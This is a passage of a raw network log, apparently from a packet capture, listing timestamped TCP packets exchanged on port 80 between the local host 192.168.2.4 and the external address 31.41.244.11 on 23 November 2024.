Nov 23, 2024 03:21:12.214003086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.214056969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.214102030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.215080976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.215118885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.215184927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.215240955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.216217041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.216259956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.216324091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.216366053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.217392921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.217436075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.217508078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.217561007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.218494892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.218539953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.218607903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.218652964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.219639063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.219685078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.219752073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.219801903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.220782995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.220844030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.220899105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.220942974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.221924067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.221971989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.222049952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.222174883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.223062992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.223113060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.223150015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.223259926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.224234104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.224318027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.224350929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.224395037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.225368023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.225406885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.225936890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.225979090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.226457119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.226531029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.226553917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.226594925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.227598906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.227643013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.227675915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.227715015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.228755951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.228800058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.228863955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.228908062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.229881048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.229923010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.229985952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.230026960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.231021881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.231065989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.231105089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.231146097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.232165098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.232213020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.232249975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.232289076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.233283043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.233330965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.233437061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.233491898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.234433889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.234478951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.234534025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.234577894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.235558033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.235603094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.235671997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.235769033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.236716032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.236794949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.236828089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.236877918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.237838984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.237879038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.237942934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.237988949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.238990068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.239059925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.239092112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.239136934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.240113974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.240159035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.240199089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.240246058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.241272926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.241324902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.241436958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.241482973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.242394924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.242491007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.242499113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.242551088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.243519068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.243601084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.385397911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.385471106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.385515928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.385562897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.385785103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.385828972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.386008978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.386054039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.386132956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.386176109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.387228012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.387271881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.387353897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.387403011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.388299942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.388341904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.388420105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.388464928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.389446974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.389552116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.389570951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.389610052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.390563011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.390607119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.390665054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.390713930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.391714096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.391819000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.391866922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.392841101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.392947912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.392992973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.393989086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.394037962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.394088030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.394603014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.395118952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.395160913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.395235062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.395277023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.396259069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.396333933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.396374941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.396415949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.397434950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.397481918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.397536039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.397583008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.398539066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.398582935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.398627996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.398672104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.399713039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.399759054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.399882078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.399926901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.400820017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.400865078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.400926113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.400970936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.401976109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.402082920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.402128935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.403091908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.403212070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.403258085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.404386997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.404431105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.404436111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.405370951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.405414104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.405527115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.406544924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.406584024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.406620979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.406660080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.407644987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.407779932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.407816887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.408786058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.408849001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.408885002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.408925056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.409923077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.409975052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.410041094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.410093069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.411066055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.411176920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.411192894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.411602020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.412208080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.412272930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.412328005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.412367105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.413342953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.413458109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.413499117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.414467096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.414587021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.414601088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.414622068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.415636063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.415676117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.415743113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.415781021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.416781902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.416851044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.416883945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.416923046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.417906046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.417957067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.418019056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.418066978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.419037104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.419091940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.419107914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.419146061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.420182943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.420231104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.420299053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.420337915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.421303988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.421355009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.421431065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.421534061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.422461033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.422512054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.422544956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.422604084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.423589945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.423707008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.423753023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.424748898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.424874067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.424937010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.425863981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.425908089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.425998926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.426419020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.427007914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.427083015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.427115917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.427154064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.428144932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.428196907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.428256989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.428307056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.429286003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.429399014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.429442883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.430413961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.430461884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.430530071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.430608034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.431560040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.431684971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.431729078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.432712078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.432842970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.432889938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.433823109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.433870077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.433934927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.434422970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.434986115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.435038090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.435075998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.435115099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.436113119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.436176062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.436271906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.436316013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.437248945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.437316895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.437377930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.437733889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.438388109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.438435078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.438494921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.438553095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.439522982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.439635038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.439688921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.440695047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.440814972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.440867901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.441804886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.441919088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.441920996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.441953897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.442931890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.442979097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.443027020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.443087101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.444078922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.444127083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.444166899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.444211960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.586822987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.587008953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.587090015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.587388992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.587507010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.587558031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.588498116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.588547945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.588587999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.589620113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.589675903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.589745045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.589792013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.590754986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.590850115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.590902090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.591905117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.592015982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.592072010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.593066931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.593128920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.593166113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.593224049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.594247103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.594296932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.594376087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.594423056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.595371008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.595488071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.595530987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.596491098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.596606016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.596656084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.597660065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.597728968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.597824097 CET	80	49760	31.41.244.11	192.168.2.4
